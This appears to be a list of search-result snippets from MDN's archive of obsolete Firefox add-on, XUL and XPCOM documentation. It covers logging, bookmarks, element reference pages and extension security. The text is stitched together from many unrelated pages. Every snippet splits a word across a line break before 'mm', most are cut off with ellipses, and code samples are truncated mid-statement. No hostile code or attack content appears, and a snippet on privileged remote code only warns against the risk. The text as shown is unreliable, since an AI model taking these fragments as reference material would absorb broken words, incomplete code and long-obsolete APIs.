mmatically using the preferences/service api, or manually using about:config.
Listening for Load and Unload - Archive of obsolete content
if your add-on exports a function called main(), that function will be called i
mmediately after the overall main.js is evaluated, and after all top-level require() statements have run (so generally after all dependent modules have been loaded).
...for more, see bug 627432, in particular co
mment 12 on that bug.
Logging - Archive of obsolete content
the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the co
mmand window you used to execute jpm run: info: hello world!
...the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the co
mmand line (for example, executing jpm run or jpm test) then the console's messages appear in the co
mmand shell you used.
Tutorials - Archive of obsolete content
troubleshooting some pointers for fixing co
mmon problems and getting more help.
... listen for load and unload get notifications when your add-on is loaded or unloaded by firefox, and pass arguments into your add-on from the co
mmand line.
Bootstrapped extensions - Archive of obsolete content
these are special extensions that, instead of using overlays to apply their user interface to the application, progra
mmatically insert themselves into the application.
... this is done using a special script file that's included in the extension that contains functions the browser calls to co
mmand the extension to install, uninstall, start up, and shut down.
Bookmarks - Archive of obsolete content
this article offers examples for how to perform co
mmon bookmark management tasks using the bookmarks service.
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onite
mmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
HTML to DOM - Archive of obsolete content
s the number of paragraphs in a string: var dompars = htmlparser('<p>foo</p><p>bar</p>'); alert(dompars.getelementsbytagname('p').length); if htmlparser() returns the element name html (instead of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre progra
mmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not chrome).
... but, we still need to see how to execute the famous loaduri() method using our iframe: donkeybrowser.webnavigation.loaduri("http://developer.mozilla.org", components.interfaces.nsiwebnavigation, null, null, null); also, i reco
mmend you take a look at the nsiwebnavigation interface.
Displaying web content in an extension without security issues - Archive of obsolete content
one of the most co
mmon security issues with extensions is execution of remote code in privileged context.
...the issue that is co
mmonly overlooked here is that the rss feed could contain some malicious javascript code and it would then execute with the privileges of the extension — meaning that it would get full access to the browser (cookies, history etc) and to user’s files.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
and was originally published in japanese for the firefox developers conference su
mmer 2007.
... nevertheless, the rise of web services like google maps, which used javascript and asynchronous co
mmunications, created an awareness of a set of technologies nicknamed ajax (asynchronous javascript and xml); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of javascript as a progra
mming language.
Firefox addons developer guide - Archive of obsolete content
the firefox add-ons developer guide was contributed by the mozilla japan co
mmunity; it covers how to go about building firefox extensions using xpcom and xul.
... these days, we reco
mmend using the add-on sdk instead, but there are times when you need the additional control offered by a more direct approach.
XUL School Tutorial - Archive of obsolete content
it is reco
mmended that you read through all of it at least once.
... introduction introduction getting started with firefox extensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and co
mmands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla co
mmunity sites appendices ...
Extensions support in SeaMonkey 2 - Archive of obsolete content
url in firefox url in seamonkey overlays chrome://browser/content/browser.xul chrome://navigator/content/navigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://navigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://co
mmunicator/content/permis...onsmanager.xul permissions manager dialog urls added in 2.1 url in firefox url in seamonkey chrome://browser/content/bookmarks/bookmarkspanel.xul chrome://co
mmunicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul chrome://co
mmunicator/content/bookma...rksman...
...these are so co
mmonly available that developers often forget that they are not built-ins.
Using Dependent Libraries In Extension Components - Archive of obsolete content
s, and we want to find // <extensiondir>/libraries nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("du
mmy")); // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if this failed!
...components, and we want to find // <extensiondir>/libraries nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("du
mmy")); nscstring path; // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); rv = library->getnativepath(path); if (ns_failed(rv)) return rv; //at this point, we would have used prlibrary *lib; library->load(&lib); //but we can't use tha...
Element Positioning - Archive of obsolete content
an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not reco
mmended that you do this.
... find files example so far: source view next, a su
mmary and some additional details of the box model are described.
Manifest Files - Archive of obsolete content
note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read multiple manifest files, use the manifest co
mmand in that file to import additional manifests.
...it is reco
mmended to upload extensions to the mozilla add-ons site, where users can locate them for installation.
Open and Save Dialogs - Archive of obsolete content
« previousnext » a co
mmon type of dialog is one where the user can select a file to open or save.
...it is most co
mmonly used for the open and save menu co
mmands, but you can use it any place in which the user needs to select a file.
Popup Menus - Archive of obsolete content
first, an example: <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> as can be seen here, a simple popup menu with three co
mmands on it has been created.
...the simplest way, which is much more co
mmon, is to add a tooltiptext attribute to an element for which you want to assign a tooltip.
Splitters - Archive of obsolete content
set this to closest to have the element i
mmediately to the left of the splitter resize.
...set this to closest to have the element i
mmediately to the right of the splitter resize.
Trees - Archive of obsolete content
making a tree flexible is quite co
mmonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit.
... that the treeitems are unlike other xul elements is a co
mmon source of confusion for xul developers.
XPCOM Examples - Archive of obsolete content
the example below shows how we might do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" onco
mmand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <script> function switchfocus(elem) { var mediator = components.classes["@mozilla.org...
.../rdf/datasource;1?name=window-mediator"].getservice(); mediator.queryinterface(components.interfaces.nsiwindowdatasource); var resource = elem.getattribute('id'); switchwindow = mediator.getwindowforresource(resource); if (switchwindow){ switchwindow.focus(); } } </script> a co
mmand handler was added to the menu element which calls the function switchfocus() with a parameter of the element that was selected from the menu.
XPCOM Interfaces - Archive of obsolete content
an example is shown below: var bmarks = components.classes["@mozilla.org/browser/bookmarks-service;1"].getservice(); bmarks.queryinterface(components.interfaces.nsibookmarksservice); bmarks.addbookmarki
mmediately("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks.
...the function addbookmarki
mmediately() provided by this interface can be used to add bookmarks.
Using nsIXULAppInfo - Archive of obsolete content
see bug 809920, and in su
mmary: // work around the fact that xpcshell doesn't have a proper app-info xpcom object.
... cu.import("resource://testing-co
mmon/appinfo.jsm"); updateappinfo(); older versions as stated above, older mozilla 1.7-based applications do not support nsixulappinfo.
XUL Accesskey FAQ and Policies - Archive of obsolete content
co
mmon elements that don't get accesskeys ok buttons.
...look for dependencies of bug 129179 (the xul accesskey hookup meta bug), or look for bugs with "accesskey" or "mnemonic" in the su
mmary, or look for dialogs where there are no elements with underlined letters.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns co
mmandset co
mmand conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script co
mmandset co
mmand broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
element enabled usage co
mments description <description value="<!-- text -->" /> <description><!--label text--></description> use for non-label text.
... column see grid columns see grid co
mmand see keyboard shortcut tutorial co
mmandset see keyboard shortcut tutorial deck only the currently selected deck layer can be focused.
arrowscrollbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
broadcaster - Archive of obsolete content
for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a co
mmand element instead.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
browser - Archive of obsolete content
subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the co
mmon ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
colorpicker - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... value property gets and sets color attribute methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
column - Archive of obsolete content
it is co
mmon to use columns only to define width and flexibility for the grid column and not place elements directly inside the column.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
description - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
image - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] su
mmary an element that displays an image, much like the html img element.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
keyset - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
label - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
listcell - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listhead - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listheader - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
menupopup - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup i
mmediately.
panel - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup i
mmediately.
preference - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
prefpane - Archive of obsolete content
(1) an example of a widget that has state changes tracked for it includes the checkbox element, whose state is tracked automatically when the "co
mmand" event fires.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute()...
radiogroup - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
resizer - Archive of obsolete content
the resizer will send a co
mmand event after the resize is complete.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
richlistbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
richlistitem - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scale - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scrollbox - Archive of obsolete content
note that this example doesn't use a scrollbox tag; you only need that tag if you want to progra
mmatically scroll in addition to the automatic scroll bars.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tabbrowser - Archive of obsolete content
onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" co
mmand.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
tabs - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" onco
mmand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal,...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbox - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
...you can supply a co
mma-separated list of toolbar item ids as the second argument to add some items by default.
tooltip - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup i
mmediately.
where - Archive of obsolete content
multiple type: boolean set to true to indicate that the value contains multiple values separated by co
mmas.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Application Update - Archive of obsolete content
